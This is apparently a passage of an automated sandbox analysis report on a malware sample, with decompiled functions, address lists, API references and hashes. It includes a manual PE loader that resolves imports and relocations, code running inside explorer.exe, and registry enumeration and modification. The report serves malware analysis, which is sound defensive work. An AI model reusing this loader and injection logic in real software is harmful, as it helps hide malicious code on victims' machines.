				_t326 = E6BB495A8(0x9f5);
				_v612 = _t326;
				if(_t250 != 0 && _t326 != 0) {
					if(GetModuleHandleA(_t250) != 0 || GetModuleHandleA(_t326) != 0) {
						_v620 = 1;
					}
					E6BB485A3( &_v616);
					_t122 = E6BB485A3( &_v612);
					_t351 = _v620;
					if(_v620 != 0) {
						goto L8;
					}
				}
			}

0x6bb44d60
0x6bb44d66
0x6bb44d6c
0x6bb44d71
0x6bb44d7f
0x6bb44d82
0x6bb44de1
0x6bb44df3
0x6bb44df6
0x6bb44dfd
0x6bb44e02
0x6bb44e07
0x6bb44e0e
0x6bb44e18
0x6bb44e1f
0x6bb44e2a
0x6bb44e2f
0x6bb44e36
0x6bb44e3c
0x6bb44e3e
0x6bb44e3f
0x6bb44e43
0x6bb44e4e
0x6bb44e53
0x6bb44e5c
0x6bb44e61
0x6bb44e69
0x6bb44e70
0x6bb44e71
0x6bb44e73
0x6bb44e8f
0x6bb44e92
0x6bb44e92
0x6bb44e9b
0x6bb44ea0
0x6bb44eaa
0x6bb44eb0
0x6bb44eb8
0x6bb44ebd
0x6bb44ec3
0x6bb44ec6
0x6bb44ecc
0x6bb44eeb
0x6bb44ef1
0x6bb44ef2
0x6bb44ef3
0x6bb44ef4
0x6bb44ef5
0x6bb44ef6
0x6bb44efa
0x6bb44f00
0x6bb44f04
0x6bb44f09
0x6bb44f0c
0x6bb44f0e
0x6bb44f20
0x6bb44f20
0x6bb44f22
0x6bb44f2e
0x6bb44f33
0x6bb44f39
0x6bb44f42
0x6bb44f45
0x6bb44f47
0x6bb44f52
0x6bb44f57
0x6bb44f5c
0x6bb44f61
0x6bb44f61
0x6bb44f64
0x6bb44f6b
0x00000000
0x6bb44f71
0x6bb44f71
0x6bb44f76
0x6bb44f7a
0x6bb44f7c
0x6bb44f7f
0x6bb44f81
0x6bb44f87
0x6bb44f87
0x6bb44f81
0x6bb44f89
0x6bb44f8e
0x6bb44f8e
0x6bb44f94
0x6bb44f96
0x00000000
0x6bb44f9c
0x6bb44f9c
0x6bb44fa0
0x6bb45075
0x6bb4507b
0x6bb45081
0x6bb4508c
0x6bb4508d
0x6bb4508e
0x6bb4508f
0x6bb45095
0x6bb4509a
0x6bb450a0
0x6bb450a8
0x6bb450ae
0x6bb450b1
0x6bb450c0
0x6bb450c7
0x6bb450ca
0x6bb450d7
0x6bb450db
0x6bb450e8
0x6bb450ed
0x6bb450f0
0x6bb450f2
0x6bb45103
0x6bb45105
0x6bb45109
0x6bb4510a
0x6bb4510c
0x6bb45117
0x6bb4511c
0x6bb45129
0x6bb4512d
0x6bb4512e
0x6bb45130
0x6bb45138
0x6bb45139
0x6bb4513e
0x6bb45147
0x6bb45156
0x6bb4515b
0x6bb4515e
0x6bb45162
0x6bb45164
0x6bb45177
0x6bb45181
0x6bb45185
0x6bb4518d
0x6bb4518e
0x6bb45196
0x6bb45197
0x6bb4519c
0x6bb451a8
0x6bb451b2
0x6bb451c4
0x6bb451d0
0x6bb451d5
0x6bb451d5
0x6bb451df
0x6bb451e5
0x6bb451e5
0x6bb4510c
0x6bb450f2
0x00000000
0x6bb4507b
0x6bb44fa6
0x6bb44fa9
0x00000000
0x00000000
0x6bb44faf
0x6bb44fba
0x6bb44fbb
0x6bb44fbc
0x6bb44fbd
0x6bb44fc3
0x6bb44fc8
0x6bb44fdc
0x6bb44fe1
0x6bb44fe5
0x6bb44ff0
0x6bb44ff9
0x6bb44ffb
0x6bb44fff
0x6bb45000
0x6bb45002
0x6bb4500d
0x6bb45013
0x6bb45025
0x6bb45028
0x6bb4502b
0x6bb45038
0x6bb45040
0x6bb4504a
0x6bb4505c
0x6bb45068
0x6bb4506d
0x00000000
0x6bb45002
0x6bb44f96
0x6bb44ece
0x6bb44ece
0x6bb44ece
0x6bb44ed4
0x6bb44ed6
0x00000000
0x00000000
0x6bb44ed8
0x6bb44edc
0x6bb451e6
0x6bb451eb
0x6bb451f1
0x6bb451f3
0x6bb451f4
0x6bb451f8
0x6bb45208
0x6bb4520d
0x6bb45211
0x6bb45213
0x6bb45217
0x6bb4521c
0x6bb4521e
0x6bb45220
0x6bb45226
0x6bb45226
0x6bb45233
0x6bb45239
0x6bb4523f
0x6bb45244
0x6bb45262
0x6bb45264
0x6bb45270
0x6bb45270
0x6bb45276
0x6bb45278
0x6bb4527e
0x6bb45290
0x6bb45296
0x6bb452a2
0x6bb452aa
0x6bb452aa
0x6bb452aa
0x6bb452ac
0x6bb452b2
0x6bb452b2
0x6bb44ee2
0x6bb44ee5
0x00000000
0x00000000
0x00000000
0x6bb44ee5
0x6bb44ecc
0x6bb44e10
0x6bb44e10
0x00000000
0x6bb44e10
0x6bb44d8e
0x6bb44d95
0x6bb44d9e
0x6bb44da0
0x6bb44da6
0x6bb44db7
0x6bb44dc0
0x6bb44dc0
0x6bb44dcc
0x6bb44dd5
0x6bb44dda
0x6bb44ddf
0x00000000
0x00000000
0x6bb44ddf

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 6BB44DB3
GetModuleHandleA.KERNEL32(00000000), ref: 6BB44DBA
lstrcpynW.KERNEL32(02A40158,00000105), ref: 6BB45262
lstrcpynW.KERNEL32(02A40368,00000105), ref: 6BB45276

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModulelstrcpyn
String ID:
API String ID: 3430401031-0
Opcode ID: ff27c748764880d6b61ca12d997f3b15fbc489b30ec819a67d3ce6c8dabc84e3
Instruction ID: 2e26a271cf1ee0df2b0fb916f65f89cd755a0d4d227fa4833812a36b5afbc54c
Opcode Fuzzy Hash: ff27c748764880d6b61ca12d997f3b15fbc489b30ec819a67d3ce6c8dabc84e3
Instruction Fuzzy Hash: 14E1CF32608341AFE740DF64CC86B6E73E9FB89318F10096AF684D7294EB79D944DB52

Uniqueness

Uniqueness Score: -1.00%

Function 6BB52B24, Relevance: 6.2, APIs: 4, Instructions: 219
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6BB52B24(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v5;
				signed short _v12;
				intOrPtr* _v16;
				signed int* _v20;
				intOrPtr _v24;
				unsigned int _v28;
				signed short* _v32;
				struct HINSTANCE__* _v36;
				intOrPtr* _v40;
				signed short* _v44;
				intOrPtr _v48;
				unsigned int _v52;
				intOrPtr _v56;
				_Unknown_base(*)()* _v60;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				unsigned int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _t149;
				void* _t189;
				signed int _t194;
				signed int _t196;
				intOrPtr _t236;

				_v72 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
				_v24 = _v72;
				_t236 = _a4 -  *((intOrPtr*)(_v24 + 0x34));
				_v56 = _t236;
				if(_t236 == 0) {
					L13:
					while(0 != 0) {
					}
					_push(8);
					if( *((intOrPtr*)(_v24 + 0xbadc25)) == 0) {
						L35:
						_v68 =  *((intOrPtr*)(_v24 + 0x28)) + _a4;
						while(0 != 0) {
						}
						if(_a12 != 0) {
							 *_a12 = _v68;
						}
						 *((intOrPtr*)(_v24 + 0x34)) = _a4;
						return _v68(_a4, 1, _a8);
					}
					_v84 = 0x80000000;
					_t149 = 8;
					_v16 = _a4 +  *((intOrPtr*)(_v24 + (_t149 << 0) + 0x78));
					while( *((intOrPtr*)(_v16 + 0xc)) != 0) {
						_v36 = GetModuleHandleA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						if(_v36 == 0) {
							_v36 = LoadLibraryA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						}
						if(_v36 != 0) {
							if( *_v16 == 0) {
								_v20 =  *((intOrPtr*)(_v16 + 0x10)) + _a4;
							} else {
								_v20 =  *_v16 + _a4;
							}
							_v64 = _v64 & 0x00000000;
							while( *_v20 != 0) {
								if(( *_v20 & _v84) == 0) {
									_v88 =  *_v20 + _a4;
									_v60 = GetProcAddress(_v36, _v88 + 2);
								} else {
									_v60 = GetProcAddress(_v36,  *_v20 & 0x0000ffff);
								}
								if( *((intOrPtr*)(_v16 + 0x10)) == 0) {
									 *_v20 = _v60;
								} else {
									 *( *((intOrPtr*)(_v16 + 0x10)) + _a4 + _v64) = _v60;
								}
								_v20 =  &(_v20[1]);
								_v64 = _v64 + 4;
							}
							_v16 = _v16 + 0x14;
							continue;
						} else {
							_t189 = 0xfffffffd;
							return _t189;
						}
					}
					goto L35;
				}
				_t194 = 8;
				_v44 = _a4 +  *((intOrPtr*)(_v24 + 0x78 + _t194 * 5));
				_t196 = 8;
				_v48 =  *((intOrPtr*)(_v24 + 0x7c + _t196 * 5));
				while(0 != 0) {
				}
				while(_v48 > 0) {
					_v28 = _v44[2];
					_v48 = _v48 - _v28;
					_v28 = _v28 - 8;
					_v28 = _v28 >> 1;
					_v32 =  &(_v44[4]);
					_v80 = _a4 +  *_v44;
					_v52 = _v28;
					while(1) {
						_v76 = _v52;
						_v52 = _v52 - 1;
						if(_v76 == 0) {
							break;
						}
						_v5 = ( *_v32 & 0x0000ffff) >> 0xc;
						_v12 =  *_v32 & 0xfff;
						_v40 = (_v12 & 0x0000ffff) + _v80;
						if((_v5 & 0x000000ff) != 3) {
							if((_v5 & 0x000000ff) == 0xa) {
								 *_v40 =  *_v40 + _v56;
							}
						} else {
							 *_v40 =  *_v40 + _v56;
						}
						_v32 =  &(_v32[1]);
					}
					_v44 = _v32;
				}
				goto L13;
			}

0x6bb52b33
0x6bb52b39
0x6bb52b42
0x6bb52b45
0x6bb52b48
0x00000000
0x6bb52c39
0x6bb52c3d
0x6bb52c3f
0x6bb52c4d
0x6bb52d6b
0x6bb52d74
0x6bb52d77
0x6bb52d7b
0x6bb52d81
0x6bb52d89
0x6bb52d89
0x6bb52d91
0x00000000
0x6bb52d9c
0x6bb52c53
0x6bb52c5c
0x6bb52c6a
0x6bb52c6d
0x6bb52c8a
0x6bb52c91
0x6bb52ca3
0x6bb52ca3
0x6bb52caa
0x6bb52cba
0x6bb52cd2
0x6bb52cbc
0x6bb52cc4
0x6bb52cc4
0x6bb52cd5
0x6bb52cd9
0x6bb52ce9
0x6bb52d0c
0x6bb52d1e
0x6bb52ceb
0x6bb52cff
0x6bb52cff
0x6bb52d28
0x6bb52d44
0x6bb52d2a
0x6bb52d39
0x6bb52d39
0x6bb52d4c
0x6bb52d55
0x6bb52d55
0x6bb52d63
0x00000000
0x6bb52cac
0x6bb52cae
0x00000000
0x6bb52cae
0x6bb52caa
0x00000000
0x6bb52c6d
0x6bb52b50
0x6bb52b5e
0x6bb52b63
0x6bb52b6e
0x6bb52b71
0x6bb52b75
0x6bb52b77
0x6bb52b87
0x6bb52b90
0x6bb52b99
0x6bb52ba1
0x6bb52baa
0x6bb52bb5
0x6bb52bbb
0x6bb52bbe
0x6bb52bc1
0x6bb52bc8
0x6bb52bcf
0x00000000
0x00000000
0x6bb52bda
0x6bb52be8
0x6bb52bf3
0x6bb52bfd
0x6bb52c15
0x6bb52c22
0x6bb52c22
0x6bb52bff
0x6bb52c0a
0x6bb52c0a
0x6bb52c29
0x6bb52c29
0x6bb52c31
0x6bb52c31
0x00000000

APIs

GetModuleHandleA.KERNEL32(?), ref: 6BB52C84
LoadLibraryA.KERNEL32(?), ref: 6BB52C9D
GetProcAddress.KERNEL32(00000000,890CC483), ref: 6BB52CF9
GetProcAddress.KERNEL32(00000000,?), ref: 6BB52D18

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID:
API String ID: 384173800-0
Opcode ID: 1977dd9b37d6238ae7d5134488f7a887ce70333f02534bfc061ed46ea554389c
Instruction ID: d6038c080dbc1fac2e6248fd494251e4582a37dc0394f4cb337d034cd8cc7eb3
Opcode Fuzzy Hash: 1977dd9b37d6238ae7d5134488f7a887ce70333f02534bfc061ed46ea554389c
Instruction Fuzzy Hash: 02A17D76E01249DFDB00CF98C881AADBBF0FF09314F148599E825AB391D778A995CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6BB41C51, Relevance: 6.1, APIs: 4, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6BB41C51(signed int __ecx, void* __eflags, void* __fp0) {
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				void* _t13;
				intOrPtr _t15;
				signed int _t16;
				intOrPtr _t17;
				signed int _t18;
				char _t20;
				intOrPtr _t22;
				void* _t23;
				void* _t24;
				intOrPtr _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t48;
				void* _t51;
				signed int _t61;
				signed int _t64;
				void* _t71;

				_t71 = __fp0;
				_t61 = __ecx;
				_t41 =  *0x6bb5e6dc; // 0x0
				_t13 = E6BB4A501(_t41, 0);
				while(_t13 < 0) {
					E6BB497ED( &_v28);
					_t43 =  *0x6bb5e6e0; // 0x0
					_t15 =  *0x6bb5e6e4; // 0x0
					_t41 = _t43 + 0xe10;
					asm("adc eax, ebx");
					__eflags = _t15 - _v24;
					if(__eflags > 0) {
						L9:
						_t16 = 0xfffffffe;
						L13:
						return _t16;
					}
					if(__eflags < 0) {
						L4:
						_t17 =  *0x6bb5e684; // 0x2abfaa0
						_t18 =  *((intOrPtr*)(_t17 + 0xc8))( *0x6bb5e6d0, 0);
						__eflags = _t18;
						if(_t18 == 0) {
							break;
						}
						_t35 =  *0x6bb5e684; // 0x2abfaa0
						 *((intOrPtr*)(_t35 + 0xb4))(0x3e8);
						_t41 =  *0x6bb5e6dc; // 0x0
						__eflags = 0;
						_t13 = E6BB4A501(_t41, 0);
						continue;
					}
					__eflags = _t41 - _v28;
					if(_t41 >= _v28) {
						goto L9;
					}
					goto L4;
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t20 =  *0x6bb5e6e8; // 0x0
				_v28 = _t20;
				_t22 = E6BB4A6EB(_t41, _t61,  &_v16);
				_v20 = _t22;
				if(_t22 != 0) {
					_t23 = GetCurrentProcess();
					_t24 = GetCurrentThread();
					DuplicateHandle(GetCurrentProcess(), _t24, _t23, 0x6bb5e6d0, 0, 0, 2);
					E6BB497ED(0x6bb5e6e0);
					_t64 = E6BB41A01( &_v28, E6BB41226, _t71);
					__eflags = _t64;
					if(_t64 >= 0) {
						_push(0);
						_push( *0x6bb5e760);
						_t51 = 0x27;
						E6BB49ED1(_t51);
					}
				} else {
					_t64 = _t61 | 0xffffffff;
				}
				_t29 =  *0x6bb5e684; // 0x2abfaa0
				 *((intOrPtr*)(_t29 + 0x30))( *0x6bb5e6d0);
				_t48 =  *0x6bb5e6dc; // 0x0
				 *0x6bb5e6d0 = 0;
				E6BB4A51D(_t48);
				E6BB485FB( &_v24, 0);
				_t16 = _t64;
				goto L13;
			}

0x6bb41c51
0x6bb41c5e
0x6bb41c60
0x6bb41c67
0x6bb41ccd
0x6bb41c74
0x6bb41c79
0x6bb41c7f
0x6bb41c84
0x6bb41c8a
0x6bb41c8c
0x6bb41c90
0x6bb41cfe
0x6bb41d00
0x6bb41d82
0x6bb41d88
0x6bb41d88
0x6bb41c92
0x6bb41c9a
0x6bb41c9a
0x6bb41ca6
0x6bb41cac
0x6bb41cae
0x00000000
0x00000000
0x6bb41cb0
0x6bb41cba
0x6bb41cc0
0x6bb41cc6
0x6bb41cc8
0x00000000
0x6bb41cc8
0x6bb41c94
0x6bb41c98
0x00000000
0x00000000
0x00000000
0x6bb41c98
0x6bb41cd7
0x6bb41cd8
0x6bb41cd9
0x6bb41cda
0x6bb41cdb
0x6bb41ce0
0x6bb41cea
0x6bb41cef
0x6bb41cf7
0x6bb41d12
0x6bb41d15
0x6bb41d1f
0x6bb41d2a
0x6bb41d3d
0x6bb41d3f
0x6bb41d41
0x6bb41d43
0x6bb41d44
0x6bb41d4c
0x6bb41d4d
0x6bb41d53
0x6bb41cf9
0x6bb41cf9
0x6bb41cf9
0x6bb41d54
0x6bb41d5f
0x6bb41d62
0x6bb41d68
0x6bb41d6e
0x6bb41d79
0x6bb41d80
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 788bf95b6aef2522e37877332dbf04c9c65dd80209915f520adb1e8478c46d03
Instruction ID: 9076139215a2270f3227800a0bccb8d6a9479355d1d505893c88a7f8c28d31e4
Opcode Fuzzy Hash: 788bf95b6aef2522e37877332dbf04c9c65dd80209915f520adb1e8478c46d03
Instruction Fuzzy Hash: D431B073A18294AFEB409F78DD8483F7BA9FB49398B44062AF50187195DF29DC10EB53

Uniqueness

Uniqueness Score: -1.00%

Function 6BB41B16, Relevance: 6.1, APIs: 4, Instructions: 97
threadCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6BB41B16(void* __eflags, void* __fp0) {
				char _v24;
				char _v28;
				void* _t12;
				intOrPtr _t14;
				void* _t15;
				intOrPtr _t16;
				void* _t17;
				void* _t19;
				void* _t20;
				char _t24;
				intOrPtr _t26;
				intOrPtr _t28;
				intOrPtr _t33;
				intOrPtr _t38;
				intOrPtr _t40;
				void* _t41;
				intOrPtr _t46;
				void* _t48;
				intOrPtr _t51;
				void* _t61;
				void* _t71;

				_t71 = __fp0;
				_t38 =  *0x6bb5e6f4; // 0x0
				_t12 = E6BB4A501(_t38, 0);
				while(_t12 < 0) {
					E6BB497ED( &_v28);
					_t40 =  *0x6bb5e700; // 0x0
					_t14 =  *0x6bb5e704; // 0x0
					_t41 = _t40 + 0x3840;
					asm("adc eax, ebx");
					__eflags = _t14 - _v24;
					if(__eflags > 0) {
						L13:
						_t15 = 0;
					} else {
						if(__eflags < 0) {
							L4:
							_t16 =  *0x6bb5e684; // 0x2abfaa0
							_t17 =  *((intOrPtr*)(_t16 + 0xc8))( *0x6bb5e6ec, 0);
							__eflags = _t17;
							if(_t17 == 0) {
								break;
							} else {
								_t33 =  *0x6bb5e684; // 0x2abfaa0
								 *((intOrPtr*)(_t33 + 0xb4))(0x1388);
								_t51 =  *0x6bb5e6f4; // 0x0
								__eflags = 0;
								_t12 = E6BB4A501(_t51, 0);
								continue;
							}
						} else {
							__eflags = _t41 - _v28;
							if(_t41 >= _v28) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
					L12:
					return _t15;
				}
				E6BB497ED(0x6bb5e700);
				_t19 = GetCurrentProcess();
				_t20 = GetCurrentThread();
				DuplicateHandle(GetCurrentProcess(), _t20, _t19, 0x6bb5e6ec, 0, 0, 2);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t24 =  *0x6bb5e6e8; // 0x0
				_v28 = _t24;
				_t61 = E6BB41A01( &_v28, E6BB41310, _t71);
				if(_t61 >= 0) {
					_push(0);
					_push( *0x6bb5e760);
					_t48 = 0x27;
					E6BB49ED1(_t48);
				}
				if(_v24 != 0) {
					E6BB46871( &_v24);
				}
				_t26 =  *0x6bb5e684; // 0x2abfaa0
				 *((intOrPtr*)(_t26 + 0x30))( *0x6bb5e6ec);
				_t28 =  *0x6bb5e758; // 0x0
				 *0x6bb5e6ec = 0;
				_t29 =  !=  ? 1 : _t28;
				_t46 =  *0x6bb5e6f4; // 0x0
				 *0x6bb5e758 =  !=  ? 1 : _t28;
				E6BB4A51D(_t46);
				_t15 = _t61;
				goto L12;
			}

0x6bb41b16
0x6bb41b1c
0x6bb41b2a
0x6bb41b98
0x6bb41b37
0x6bb41b3c
0x6bb41b42
0x6bb41b47
0x6bb41b4d
0x6bb41b4f
0x6bb41b53
0x6bb41c4d
0x6bb41c4d
0x6bb41b59
0x6bb41b59
0x6bb41b65
0x6bb41b65
0x6bb41b71
0x6bb41b77
0x6bb41b79
0x00000000
0x6bb41b7b
0x6bb41b7b
0x6bb41b85
0x6bb41b8b
0x6bb41b91
0x6bb41b93
0x00000000
0x6bb41b93
0x6bb41b5b
0x6bb41b5b
0x6bb41b5f
0x00000000
0x00000000
0x00000000
0x00000000
0x6bb41b5f
0x6bb41b59
0x6bb41c46
0x6bb41c4c
0x6bb41c4c
0x6bb41ba1
0x6bb41bb5
0x6bb41bb8
0x6bb41bc2
0x6bb41bce
0x6bb41bd8
0x6bb41bd9
0x6bb41bda
0x6bb41bdb
0x6bb41be0
0x6bb41be9
0x6bb41bed
0x6bb41bef
0x6bb41bf0
0x6bb41bf8
0x6bb41bf9
0x6bb41bff
0x6bb41c04
0x6bb41c0a
0x6bb41c0a
0x6bb41c0f
0x6bb41c1a
0x6bb41c1d
0x6bb41c25
0x6bb41c31
0x6bb41c34
0x6bb41c3a
0x6bb41c3f
0x6bb41c44
0x00000000

APIs

GetCurrentProcess.KERNEL32(6BB5E6EC,00000000,00000000,00000002), ref: 6BB41BB5
GetCurrentThread.KERNEL32(00000000), ref: 6BB41BB8
GetCurrentProcess.KERNEL32(00000000), ref: 6BB41BBF
DuplicateHandle.KERNEL32 ref: 6BB41BC2

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: Current$Process$DuplicateHandleThread
String ID:
API String ID: 3566409357-0
Opcode ID: 7cb1624f3da168c36afa804fa947bfffa65b96913d53564e22cd5f59072662ee
Instruction ID: e8806dff2a7b36ec1d4f067e47cecfe9ccbb73bf24bf1140b4eb14b89e0d302e
Opcode Fuzzy Hash: 7cb1624f3da168c36afa804fa947bfffa65b96913d53564e22cd5f59072662ee
Instruction Fuzzy Hash: 1231D172A242A09FDB04DF74CD9493F3BA9FB49394B080869F1118B295DB3AD814DF53

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exe PID: 2532 Parent PID: 1836 explorer.exeCOMMON

Executed Functions

Function 00086195, Relevance: 7.6, APIs: 5, Instructions: 145
registryCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00086195(void* __edx, void* __fp0, void* _a4, short* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				int _v12;
				int _v16;
				int _v20;
				char _v24;
				char _v28;
				void* _v32;
				void* _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v56;
				void _v576;
				void* _t53;
				intOrPtr _t72;
				intOrPtr _t80;
				intOrPtr _t81;
				intOrPtr _t82;
				signed int _t85;
				intOrPtr _t87;
				int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				void* _t96;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t108;

				_t108 = __fp0;
				_t96 = __edx;
				_t89 = 0;
				_v8 = 0;
				memset( &_v576, 0, 0x208);
				_v28 = 0x104;
				_v20 = 0x3fff;
				_v16 = 0;
				_t53 = E000885E5(0x3fff); // executed
				_t98 = _t53;
				_t100 = _t99 + 0x10;
				_v32 = _t98;
				if(_t98 == 0) {
					L18:
					return 0;
				}
				_t97 = E000885E5(0x800);
				_v36 = _t97;
				if(_t97 == 0) {
					goto L18;
				}
				if(RegOpenKeyExW(_a4, _a8, 0, 0x2001f,  &_v8) != 0) {
					L15:
					if(_v8 != 0) {
						RegCloseKey(_v8);
					}
					E000885FB( &_v32, 0x3fff);
					E000885FB( &_v36, 0x800);
					goto L18;
				}
				_push( &_v56);
				_push( &_v40);
				_push( &_v44);
				_push( &_v48);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v28);
				_push( &_v576);
				_t72 =  *0x9e68c; // 0xa7fab8
				_push(_v8);
				if( *((intOrPtr*)(_t72 + 0xb0))() == 0) {
					__eflags = _v24;
					if(_v24 == 0) {
						goto L15;
					}
					_v12 = 0;
					do {
						memset(_t97, 0, 0x800);
						memset(_t98, 0, 0x3fff);
						_t100 = _t100 + 0x18;
						_v20 = 0x3fff;
						_v16 = 0x800;
						 *_t98 = 0;
						_t80 =  *0x9e68c; // 0xa7fab8
						_t81 =  *((intOrPtr*)(_t80 + 0xc8))(_v8, _t89, _t98,  &_v20, 0, 0, _t97,  &_v16);
						__eflags = _t81;
						if(_t81 == 0) {
							_t82 =  *0x9e690; // 0xa7fb90
							_t90 =  *((intOrPtr*)(_t82 + 4))(_t97, _a12);
							__eflags = _t90;
							if(_t90 != 0) {
								_t92 =  *0x9e68c; // 0xa7fab8
								 *((intOrPtr*)(_t92 + 0xa8))(_v8, _t98);
								__eflags = _a16;
								if(_a16 != 0) {
									_t85 = E0008C3D4(_t90);
									__eflags =  *((short*)(_t90 + _t85 * 2 - 2)) - 0x22;
									if(__eflags == 0) {
										__eflags = 0;
										 *((short*)(_t90 + _t85 * 2 - 2)) = 0;
									}
									E0008B1F3(_t90, _t96, __eflags, _t108);
								}
							}
							_t89 = _v12;
						}
						_t89 = _t89 + 1;
						_v12 = _t89;
						__eflags = _t89 - _v24;
					} while (_t89 < _v24);
					goto L15;
				}
				_t87 =  *0x9e68c; // 0xa7fab8
				 *((intOrPtr*)(_t87 + 0x1c))(_v8);
				goto L15;
			}

0x00086195
0x00086195
0x000861a1
0x000861b0
0x000861b3
0x000861bd
0x000861c5
0x000861c8
0x000861cb
0x000861d0
0x000861d2
0x000861d5
0x000861da
0x00086346
0x0008634a
0x0008634a
0x000861ea
0x000861ec
0x000861f2
0x00000000
0x00000000
0x00086215
0x00086314
0x00086318
0x00086322
0x00086322
0x0008632e
0x0008633c
0x00000000
0x00086341
0x0008621e
0x00086222
0x00086226
0x0008622a
0x0008622e
0x0008622f
0x00086230
0x00086231
0x00086232
0x00086236
0x0008623d
0x0008623e
0x00086243
0x0008624e
0x00086263
0x00086265
0x00000000
0x00000000
0x0008626b
0x0008626e
0x00086276
0x00086283
0x00086288
0x0008628b
0x00086294
0x0008629b
0x000862ab
0x000862b5
0x000862bb
0x000862bd
0x000862c2
0x000862cb
0x000862cd
0x000862cf
0x000862d1
0x000862db
0x000862e1
0x000862e5
0x000862e9
0x000862ee
0x000862f4
0x000862f6
0x000862f8
0x000862f8
0x000862ff
0x000862ff
0x000862e5
0x00086304
0x00086304
0x00086307
0x00086308
0x0008630b
0x0008630b
0x00000000
0x0008626e
0x00086250
0x00086258
0x00000000

APIs

memset.MSVCRT ref: 000861B3

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

RegOpenKeyExW.KERNEL32(?,?,00000000,0002001F,?,?,?,00000001), ref: 0008620D
memset.MSVCRT ref: 00086276
memset.MSVCRT ref: 00086283
RegCloseKey.KERNEL32(00000000,?,?,00000001), ref: 00086322

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: memset$AllocateCloseHeapOpen
String ID:
API String ID: 1886988140-0
Opcode ID: f0294043c1cd8b1ed0c68aa04dc08fb6ff4be3f697c1fa6b2779ac1dd37c6f01
Instruction ID: d3b935bb34dd5e753c17b1e2c940759a21ef8d04e8345fe9e9401ef9a991536e
Opcode Fuzzy Hash: f0294043c1cd8b1ed0c68aa04dc08fb6ff4be3f697c1fa6b2779ac1dd37c6f01
Instruction Fuzzy Hash: A051F7B1A00209AFEF51EF94CC85FEE7BBCBF04740F118069F645A7192DB759A048B61

Uniqueness

Uniqueness Score: -1.00%

Function 0008CFC6, Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0008CFC6(void* __ecx) {
				intOrPtr _t11;
				long _t12;
				intOrPtr _t17;
				intOrPtr _t18;
				struct _OSVERSIONINFOA* _t29;

				_push(__ecx);
				_t29 =  *0x9e688; // 0xf0000
				GetCurrentProcess();
				_t11 = E0008BA47(); // executed
				_t1 = _t29 + 0x1644; // 0xf1644
				_t25 = _t1;
				 *((intOrPtr*)(_t29 + 0x110)) = _t11;
				_t12 = GetModuleFileNameW(0, _t1, 0x105);
				_t33 = _t12;
				if(_t12 != 0) {
					_t12 = E00088F9F(_t25, _t33);
				}
				_t3 = _t29 + 0x228; // 0xf0228
				 *(_t29 + 0x1854) = _t12;
				 *((intOrPtr*)(_t29 + 0x434)) = E00088F9F(_t3, _t33);
				memset(_t29, 0, 0x9c);
				_t29->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t29);
